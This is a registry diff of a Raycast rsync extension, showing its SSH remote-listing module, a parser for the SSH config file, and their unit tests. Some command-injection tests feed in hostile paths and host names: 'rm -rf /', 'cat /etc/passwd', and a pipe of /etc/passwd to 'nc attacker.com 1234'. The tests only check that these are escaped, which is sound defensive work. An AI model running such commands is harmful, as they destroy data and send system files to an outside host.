raycast-rsync-extension 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. package/.eslintrc.js +18 -0
  2. package/.github/PULL_REQUEST_TEMPLATE.md +14 -0
  3. package/.github/dependabot.yml +35 -0
  4. package/.github/workflows/ci.yml +105 -0
  5. package/.github/workflows/publish.yml +269 -0
  6. package/.github/workflows/update-copyright-year.yml +70 -0
  7. package/CHANGELOG.md +7 -0
  8. package/LICENSE +21 -0
  9. package/README.md +81 -0
  10. package/assets/icon.png +0 -0
  11. package/eslint.config.js +23 -0
  12. package/metadata/browse-remote-path.png +0 -0
  13. package/metadata/browse-remote.png +0 -0
  14. package/metadata/download-local-path.png +0 -0
  15. package/metadata/download-remote-path.png +0 -0
  16. package/metadata/extension.png +0 -0
  17. package/metadata/upload-local-path.png +0 -0
  18. package/metadata/upload-remote-path.png +0 -0
  19. package/metadata/upload-search-host.png +0 -0
  20. package/package.json +93 -0
  21. package/src/__mocks__/raycast-api.ts +84 -0
  22. package/src/browse.tsx +378 -0
  23. package/src/components/FileList.test.tsx +73 -0
  24. package/src/components/FileList.tsx +61 -0
  25. package/src/download.tsx +353 -0
  26. package/src/e2e/browse.e2e.test.ts +295 -0
  27. package/src/e2e/download.e2e.test.ts +193 -0
  28. package/src/e2e/error-handling.e2e.test.ts +292 -0
  29. package/src/e2e/rsync-options.e2e.test.ts +348 -0
  30. package/src/e2e/upload.e2e.test.ts +207 -0
  31. package/src/index.tsx +21 -0
  32. package/src/test-setup.ts +1 -0
  33. package/src/types/server.ts +60 -0
  34. package/src/upload.tsx +404 -0
  35. package/src/utils/__tests__/sshConfig.test.ts +352 -0
  36. package/src/utils/__tests__/validation.test.ts +139 -0
  37. package/src/utils/preferences.ts +24 -0
  38. package/src/utils/rsync.test.ts +490 -0
  39. package/src/utils/rsync.ts +517 -0
  40. package/src/utils/shellEscape.test.ts +98 -0
  41. package/src/utils/shellEscape.ts +36 -0
  42. package/src/utils/ssh.test.ts +209 -0
  43. package/src/utils/ssh.ts +187 -0
  44. package/src/utils/sshConfig.test.ts +191 -0
  45. package/src/utils/sshConfig.ts +212 -0
  46. package/src/utils/validation.test.ts +224 -0
  47. package/src/utils/validation.ts +115 -0
  48. package/tsconfig.json +27 -0
  49. package/vitest.config.ts +8 -0
@@ -0,0 +1,209 @@
1
+ import { describe, it, expect, vi, beforeEach } from "vitest";
2
+ import { SSHHostConfig } from "../types/server";
3
+ import { executeRemoteLs } from "./ssh";
4
+ import { exec } from "child_process";
5
+
6
+ // Mock the exec function to capture commands
7
+ vi.mock("child_process", () => {
8
+ const actual = vi.importActual("child_process");
9
+ return {
10
+ ...actual,
11
+ exec: vi.fn(),
12
+ };
13
+ });
14
+
15
+ describe("SSH Remote Listing", () => {
16
+ const mockHostConfig: SSHHostConfig = {
17
+ host: "testserver",
18
+ hostName: "example.com",
19
+ user: "testuser",
20
+ port: 22,
21
+ };
22
+
23
+ beforeEach(() => {
24
+ vi.clearAllMocks();
25
+ });
26
+
27
+ describe("executeRemoteLs - Command Injection Prevention", () => {
28
+ it("should escape remotePath to prevent command injection", async () => {
29
+ const maliciousPath = "/tmp/test; rm -rf /";
30
+
31
+ // Mock exec to capture the command
32
+ let capturedCommand = "";
33
+ (exec as any).mockImplementation(
34
+ (command: string, options: any, callback: any) => {
35
+ capturedCommand = command;
36
+ // Return success
37
+ callback(null, { stdout: "total 0\n", stderr: "" });
38
+ },
39
+ );
40
+
41
+ await executeRemoteLs(mockHostConfig, maliciousPath);
42
+
43
+ // The malicious command should be escaped, not executed
44
+ // The path is escaped and then the entire remote command is escaped
45
+ // So we check that the path appears within the escaped remote command
46
+ expect(capturedCommand).toMatch(/\/tmp\/test; rm -rf \//);
47
+ // The semicolon should be inside quotes (part of the escaped string)
48
+ expect(capturedCommand).toMatch(/'ls -lAh .*\/tmp\/test; rm -rf \/.*'/);
49
+ });
50
+
51
+ it("should escape remotePath with pipe to prevent injection", async () => {
52
+ const maliciousPath = "/tmp/test | cat /etc/passwd";
53
+
54
+ let capturedCommand = "";
55
+ (exec as any).mockImplementation(
56
+ (command: string, options: any, callback: any) => {
57
+ capturedCommand = command;
58
+ callback(null, { stdout: "total 0\n", stderr: "" });
59
+ },
60
+ );
61
+
62
+ await executeRemoteLs(mockHostConfig, maliciousPath);
63
+
64
+ // The malicious command should be escaped
65
+ // The path is escaped and then the entire remote command is escaped
66
+ expect(capturedCommand).toMatch(/\/tmp\/test \| cat \/etc\/passwd/);
67
+ expect(capturedCommand).toMatch(
68
+ /'ls -lAh .*\/tmp\/test \| cat \/etc\/passwd.*'/,
69
+ );
70
+ });
71
+
72
+ it("should escape hostAlias to prevent command injection", async () => {
73
+ const maliciousHostConfig: SSHHostConfig = {
74
+ host: "server; rm -rf /",
75
+ hostName: "example.com",
76
+ };
77
+
78
+ let capturedCommand = "";
79
+ (exec as any).mockImplementation(
80
+ (command: string, options: any, callback: any) => {
81
+ capturedCommand = command;
82
+ callback(null, { stdout: "total 0\n", stderr: "" });
83
+ },
84
+ );
85
+
86
+ await executeRemoteLs(maliciousHostConfig, "/remote/path");
87
+
88
+ // The malicious host alias should be escaped
89
+ expect(capturedCommand).toContain("'server; rm -rf /'");
90
+ });
91
+
92
+ it("should handle paths with spaces", async () => {
93
+ const pathWithSpaces = "/remote/path with spaces";
94
+
95
+ let capturedCommand = "";
96
+ (exec as any).mockImplementation(
97
+ (command: string, options: any, callback: any) => {
98
+ capturedCommand = command;
99
+ callback(null, { stdout: "total 0\n", stderr: "" });
100
+ },
101
+ );
102
+
103
+ await executeRemoteLs(mockHostConfig, pathWithSpaces);
104
+
105
+ // Paths with spaces should be properly escaped
106
+ // The path is escaped and then the entire remote command is escaped
107
+ expect(capturedCommand).toMatch(/\/remote\/path with spaces/);
108
+ expect(capturedCommand).toMatch(
109
+ /'ls -lAh .*\/remote\/path with spaces.*'/,
110
+ );
111
+ });
112
+
113
+ it("should handle paths with single quotes", async () => {
114
+ const pathWithQuotes = "/remote/file'name.txt";
115
+
116
+ let capturedCommand = "";
117
+ (exec as any).mockImplementation(
118
+ (command: string, options: any, callback: any) => {
119
+ capturedCommand = command;
120
+ callback(null, { stdout: "total 0\n", stderr: "" });
121
+ },
122
+ );
123
+
124
+ await executeRemoteLs(mockHostConfig, pathWithQuotes);
125
+
126
+ // Paths with single quotes should be properly escaped
127
+ // The path is escaped (single quotes become '\'') and then the entire remote command is escaped
128
+ // So we check that the escaped path appears in the command
129
+ expect(capturedCommand).toMatch(/\/remote\/file.*name\.txt/);
130
+ // The escaping for single quotes in the path should be present
131
+ expect(capturedCommand).toMatch(/file.*\\''.*name/);
132
+ });
133
+
134
+ it("should escape complex injection attempts", async () => {
135
+ const complexInjection =
136
+ "/tmp/test; cat /etc/passwd | nc attacker.com 1234";
137
+
138
+ let capturedCommand = "";
139
+ (exec as any).mockImplementation(
140
+ (command: string, options: any, callback: any) => {
141
+ capturedCommand = command;
142
+ callback(null, { stdout: "total 0\n", stderr: "" });
143
+ },
144
+ );
145
+
146
+ await executeRemoteLs(mockHostConfig, complexInjection);
147
+
148
+ // The entire malicious string should be escaped as a single argument
149
+ // The path is escaped and then the entire remote command is escaped
150
+ expect(capturedCommand).toMatch(
151
+ /\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234/,
152
+ );
153
+ expect(capturedCommand).toMatch(
154
+ /'ls -lAh .*\/tmp\/test; cat \/etc\/passwd \| nc attacker\.com 1234.*'/,
155
+ );
156
+ });
157
+
158
+ it("should allow tilde expansion for paths starting with ~/", async () => {
159
+ const tildePath = "~/Desktop/subdir";
160
+
161
+ let capturedCommand = "";
162
+ (exec as any).mockImplementation(
163
+ (command: string, options: any, callback: any) => {
164
+ capturedCommand = command;
165
+ callback(null, { stdout: "total 0\n", stderr: "" });
166
+ },
167
+ );
168
+
169
+ await executeRemoteLs(mockHostConfig, tildePath);
170
+
171
+ // The ~ should be outside quotes to allow remote shell expansion
172
+ // The path after ~/ should be escaped for safety
173
+ // The command should contain ~/ followed by the escaped path part
174
+ expect(capturedCommand).toMatch(/~/);
175
+ expect(capturedCommand).toMatch(/Desktop\/subdir/);
176
+ // The ~ should not be inside quotes (allowing remote shell to expand it)
177
+ // The path part should be escaped - the actual pattern is ~/'Desktop/subdir'
178
+ // which appears as ~/'\\''Desktop/subdir'\\''' in the escaped command
179
+ expect(capturedCommand).toMatch(/ls -lAh ~\/.*Desktop\/subdir/);
180
+ // Verify ~ is not inside quotes (it should appear before the escaped path)
181
+ const match = capturedCommand.match(/ls -lAh (.*)/);
182
+ expect(match).not.toBeNull();
183
+ if (match) {
184
+ const pathPart = match[1];
185
+ // The ~ should appear before any quotes
186
+ expect(pathPart).toMatch(/^~/);
187
+ }
188
+ });
189
+
190
+ it("should handle standalone tilde", async () => {
191
+ const tildePath = "~";
192
+
193
+ let capturedCommand = "";
194
+ (exec as any).mockImplementation(
195
+ (command: string, options: any, callback: any) => {
196
+ capturedCommand = command;
197
+ callback(null, { stdout: "total 0\n", stderr: "" });
198
+ },
199
+ );
200
+
201
+ await executeRemoteLs(mockHostConfig, tildePath);
202
+
203
+ // Standalone ~ should be unescaped to allow remote shell expansion
204
+ expect(capturedCommand).toMatch(/ls -lAh ~/);
205
+ // Should not be inside quotes
206
+ expect(capturedCommand).not.toMatch(/'~'/);
207
+ });
208
+ });
209
+ });
@@ -0,0 +1,187 @@
1
+ import { exec } from "child_process";
2
+ import { promisify } from "util";
3
+ import { homedir } from "os";
4
+ import { join } from "path";
5
+ import { SSHHostConfig, RemoteFile } from "../types/server";
6
+ import { shellEscape } from "./shellEscape";
7
+
8
+ const execAsync = promisify(exec);
9
+
10
+ /**
11
+ * Execute ls command on remote server to list files
12
+ * @param hostConfig - SSH host configuration
13
+ * @param remotePath - Path to list on remote server
14
+ * @returns Promise resolving to array of RemoteFile objects
15
+ */
16
+ /**
17
+ * Escapes a remote path for use in SSH commands, handling tilde expansion
18
+ * For paths starting with ~, we allow the remote shell to expand it by not escaping the ~
19
+ * @param remotePath - The remote path to escape
20
+ * @returns Escaped path that allows ~ expansion on remote shell
21
+ */
22
+ function escapeRemotePath(remotePath: string): string {
23
+ // If path starts with ~/, allow remote shell to expand ~
24
+ // We escape only the part after ~/ to prevent injection while allowing ~ expansion
25
+ if (remotePath.startsWith("~/")) {
26
+ const pathAfterTilde = remotePath.slice(2); // Everything after "~/"
27
+ // Escape the path part to prevent injection, but keep ~/ unescaped
28
+ // This will result in ~/'escaped-path' which allows ~ expansion
29
+ const escapedPath = shellEscape(pathAfterTilde);
30
+ return `~/${escapedPath}`;
31
+ }
32
+ if (remotePath === "~") {
33
+ // Standalone ~ doesn't need escaping
34
+ return "~";
35
+ }
36
+ // For all other paths, escape normally
37
+ return shellEscape(remotePath);
38
+ }
39
+
40
+ export async function executeRemoteLs(
41
+ hostConfig: SSHHostConfig,
42
+ remotePath: string,
43
+ ): Promise<RemoteFile[]> {
44
+ const configPath = join(homedir(), ".ssh", "config");
45
+ const hostAlias = hostConfig.host;
46
+
47
+ // Escape all user-provided inputs to prevent command injection
48
+ const escapedConfigPath = shellEscape(configPath);
49
+ const escapedHostAlias = shellEscape(hostAlias);
50
+ // Use special escaping for remote paths to allow ~ expansion
51
+ const escapedRemotePath = escapeRemotePath(remotePath);
52
+
53
+ // Use ls -lAh for detailed listing with human-readable sizes
54
+ // -l: long format, -A: all files except . and .., -h: human-readable sizes
55
+ // Construct the remote command with properly escaped remotePath
56
+ // The remote command is: ls -lAh <escaped-remote-path>
57
+ // We escape the entire remote command for the local shell
58
+ const remoteCommand = `ls -lAh ${escapedRemotePath}`;
59
+ const escapedRemoteCommand = shellEscape(remoteCommand);
60
+
61
+ const command = `ssh -F ${escapedConfigPath} ${escapedHostAlias} ${escapedRemoteCommand}`;
62
+
63
+ console.log("Executing remote ls:", command);
64
+
65
+ try {
66
+ const { stdout } = await execAsync(command, {
67
+ timeout: 30000, // 30 second timeout
68
+ });
69
+
70
+ // Parse ls output
71
+ const files = parseLsOutput(stdout);
72
+ console.log(`Found ${files.length} files in ${remotePath}`);
73
+
74
+ return files;
75
+ } catch (error) {
76
+ const errorMessage = parseRemoteLsError(
77
+ error as {
78
+ stderr?: string;
79
+ message?: string;
80
+ code?: number;
81
+ },
82
+ );
83
+ console.error("Remote ls error:", error);
84
+ throw new Error(errorMessage);
85
+ }
86
+ }
87
+
88
+ /**
89
+ * Parse ls -lAh output into RemoteFile objects
90
+ * @param output - stdout from ls command
91
+ * @returns Array of RemoteFile objects
92
+ */
93
+ function parseLsOutput(output: string): RemoteFile[] {
94
+ const lines = output.trim().split("\n");
95
+ const files: RemoteFile[] = [];
96
+
97
+ // Skip the first line if it starts with "total" (summary line)
98
+ const startIndex = lines[0]?.startsWith("total") ? 1 : 0;
99
+
100
+ for (let i = startIndex; i < lines.length; i++) {
101
+ const line = lines[i].trim();
102
+ if (!line) continue;
103
+
104
+ // Parse ls -l format: permissions links owner group size month day time name
105
+ // Example: drwxr-xr-x 5 user group 4.0K Jan 13 10:30 dirname
106
+ const parts = line.split(/\s+/);
107
+
108
+ if (parts.length < 9) continue; // Skip malformed lines
109
+
110
+ const permissions = parts[0];
111
+ const size = parts[4];
112
+ const month = parts[5];
113
+ const day = parts[6];
114
+ const time = parts[7];
115
+ const name = parts.slice(8).join(" "); // Handle filenames with spaces
116
+
117
+ // Check if it's a directory (first char is 'd')
118
+ const isDirectory = permissions.startsWith("d");
119
+
120
+ files.push({
121
+ name,
122
+ isDirectory,
123
+ size: isDirectory ? "" : size,
124
+ permissions,
125
+ modifiedDate: `${month} ${day} ${time}`,
126
+ });
127
+ }
128
+
129
+ return files;
130
+ }
131
+
132
+ /**
133
+ * Parse error output from remote ls command
134
+ * @param error - The error object from exec
135
+ * @returns User-friendly error message
136
+ */
137
+ function parseRemoteLsError(error: {
138
+ stderr?: string;
139
+ message?: string;
140
+ code?: number;
141
+ }): string {
142
+ const stderr = error.stderr || "";
143
+ const message = error.message || "";
144
+ const combinedError = `${stderr} ${message}`.toLowerCase();
145
+
146
+ console.error("Remote ls error details:", {
147
+ code: error.code,
148
+ stderr: error.stderr,
149
+ message: error.message,
150
+ });
151
+
152
+ // Connection errors
153
+ if (combinedError.includes("connection refused")) {
154
+ return "Connection refused: The server is not accepting connections.";
155
+ }
156
+ if (
157
+ combinedError.includes("connection timed out") ||
158
+ combinedError.includes("operation timed out")
159
+ ) {
160
+ return "Connection timed out: Unable to reach the server.";
161
+ }
162
+ if (combinedError.includes("could not resolve hostname")) {
163
+ return "Could not resolve hostname: The server address is invalid.";
164
+ }
165
+
166
+ // Authentication errors
167
+ if (
168
+ combinedError.includes("permission denied") &&
169
+ combinedError.includes("publickey")
170
+ ) {
171
+ return "Authentication failed: SSH key not accepted.";
172
+ }
173
+ if (combinedError.includes("permission denied")) {
174
+ return "Permission denied: Check your credentials.";
175
+ }
176
+
177
+ // File/directory errors
178
+ if (combinedError.includes("no such file or directory")) {
179
+ return "Directory not found: The specified path does not exist on the remote server.";
180
+ }
181
+ if (combinedError.includes("not a directory")) {
182
+ return "Not a directory: The specified path is a file, not a directory.";
183
+ }
184
+
185
+ // Generic fallback
186
+ return `Failed to list remote files: ${stderr || message || "Unknown error"}`;
187
+ }
@@ -0,0 +1,191 @@
1
+ import { describe, it, expect, vi, beforeEach } from "vitest";
2
+ import * as fs from "node:fs";
3
+ import * as os from "node:os";
4
+
5
+ // Type definitions for mocked fs module
6
+ type MockedFS = typeof fs & {
7
+ __setMockFileContent: (content: string) => void;
8
+ __setMockFileExists: (exists: boolean) => void;
9
+ __setMockPermissionError: (shouldThrow: boolean) => void;
10
+ };
11
+
12
+ // Mock modules before importing the module under test
13
+ vi.mock("node:os", async () => {
14
+ const actual = await vi.importActual<typeof os>("node:os");
15
+ return {
16
+ ...actual,
17
+ homedir: vi.fn(() => "/mock/home"),
18
+ };
19
+ });
20
+
21
+ vi.mock("node:fs", async () => {
22
+ const actual = await vi.importActual<typeof fs>("node:fs");
23
+ let mockFileContent = "";
24
+ let mockFileExists = false;
25
+ let mockThrowPermissionError = false;
26
+ let mockMtimeMs = Date.now();
27
+
28
+ return {
29
+ ...actual,
30
+ existsSync: vi.fn(() => mockFileExists),
31
+ readFileSync: vi.fn(() => {
32
+ if (mockThrowPermissionError) {
33
+ const error: NodeJS.ErrnoException = new Error("Permission denied");
34
+ error.code = "EACCES";
35
+ throw error;
36
+ }
37
+ return mockFileContent;
38
+ }),
39
+ statSync: vi.fn(
40
+ () =>
41
+ ({
42
+ mtimeMs: mockMtimeMs,
43
+ }) as fs.Stats,
44
+ ),
45
+ __setMockFileContent: (content: string) => {
46
+ mockFileContent = content;
47
+ mockFileExists = true;
48
+ mockMtimeMs = Date.now(); // Use current time to ensure cache misses
49
+ },
50
+ __setMockFileExists: (exists: boolean) => {
51
+ mockFileExists = exists;
52
+ },
53
+ __setMockPermissionError: (shouldThrow: boolean) => {
54
+ mockThrowPermissionError = shouldThrow;
55
+ },
56
+ };
57
+ });
58
+
59
+ import { parseSSHConfig, getHostConfig, clearCache } from "./sshConfig";
60
+
61
+ describe("SSH Config Parser", () => {
62
+ beforeEach(() => {
63
+ vi.clearAllMocks();
64
+ clearCache(); // Clear cache between tests
65
+ (fs as unknown as MockedFS).__setMockFileExists(false);
66
+ (fs as unknown as MockedFS).__setMockPermissionError(false);
67
+ });
68
+
69
+ it("should parse valid config with single host", () => {
70
+ const config = `
71
+ Host server1
72
+ HostName example.com
73
+ User admin
74
+ Port 2222
75
+ `;
76
+ (fs as unknown as MockedFS).__setMockFileContent(config);
77
+
78
+ const hosts = parseSSHConfig();
79
+ expect(hosts).toHaveLength(1);
80
+ expect(hosts[0]).toEqual({
81
+ host: "server1",
82
+ hostName: "example.com",
83
+ user: "admin",
84
+ port: 2222,
85
+ identityFile: undefined,
86
+ proxyJump: undefined,
87
+ });
88
+ });
89
+
90
+ it("should parse config with multiple hosts", () => {
91
+ const config = `
92
+ Host server1
93
+ HostName example.com
94
+ User admin
95
+
96
+ Host server2
97
+ HostName test.com
98
+ User root
99
+ `;
100
+ (fs as unknown as MockedFS).__setMockFileContent(config);
101
+
102
+ const hosts = parseSSHConfig();
103
+ expect(hosts).toHaveLength(2);
104
+ expect(hosts[0].host).toBe("server1");
105
+ expect(hosts[1].host).toBe("server2");
106
+ });
107
+
108
+ it("should handle multiple aliases per host", () => {
109
+ const config = `
110
+ Host server1 srv1 s1
111
+ HostName example.com
112
+ User admin
113
+ `;
114
+ (fs as unknown as MockedFS).__setMockFileContent(config);
115
+
116
+ const hosts = parseSSHConfig();
117
+ expect(hosts).toHaveLength(3);
118
+ expect(hosts[0].host).toBe("server1");
119
+ expect(hosts[1].host).toBe("srv1");
120
+ expect(hosts[2].host).toBe("s1");
121
+ expect(hosts[0].hostName).toBe("example.com");
122
+ expect(hosts[1].hostName).toBe("example.com");
123
+ expect(hosts[2].hostName).toBe("example.com");
124
+ });
125
+
126
+ it("should filter out wildcard hosts", () => {
127
+ const config = `
128
+ Host *
129
+ User default
130
+
131
+ Host server1
132
+ HostName example.com
133
+ `;
134
+ (fs as unknown as MockedFS).__setMockFileContent(config);
135
+
136
+ const hosts = parseSSHConfig();
137
+ expect(hosts).toHaveLength(1);
138
+ expect(hosts[0].host).toBe("server1");
139
+ });
140
+
141
+ it("should handle comments and empty lines", () => {
142
+ const config = `
143
+ # This is a comment
144
+ Host server1
145
+ # Another comment
146
+ HostName example.com
147
+
148
+ User admin
149
+ `;
150
+ (fs as unknown as MockedFS).__setMockFileContent(config);
151
+
152
+ const hosts = parseSSHConfig();
153
+ expect(hosts).toHaveLength(1);
154
+ expect(hosts[0].hostName).toBe("example.com");
155
+ expect(hosts[0].user).toBe("admin");
156
+ });
157
+
158
+ it("should return empty array for missing config file", () => {
159
+ (fs as unknown as MockedFS).__setMockFileExists(false);
160
+ const hosts = parseSSHConfig();
161
+ expect(hosts).toEqual([]);
162
+ });
163
+
164
+ it("should find specific host by alias", () => {
165
+ const config = `
166
+ Host server1
167
+ HostName example.com
168
+ User admin
169
+
170
+ Host server2
171
+ HostName test.com
172
+ `;
173
+ (fs as unknown as MockedFS).__setMockFileContent(config);
174
+
175
+ const host = getHostConfig("server1");
176
+ expect(host).not.toBeNull();
177
+ expect(host?.host).toBe("server1");
178
+ expect(host?.hostName).toBe("example.com");
179
+ });
180
+
181
+ it("should return null for non-existent host", () => {
182
+ const config = `
183
+ Host server1
184
+ HostName example.com
185
+ `;
186
+ (fs as unknown as MockedFS).__setMockFileContent(config);
187
+
188
+ const host = getHostConfig("nonexistent");
189
+ expect(host).toBeNull();
190
+ });
191
+ });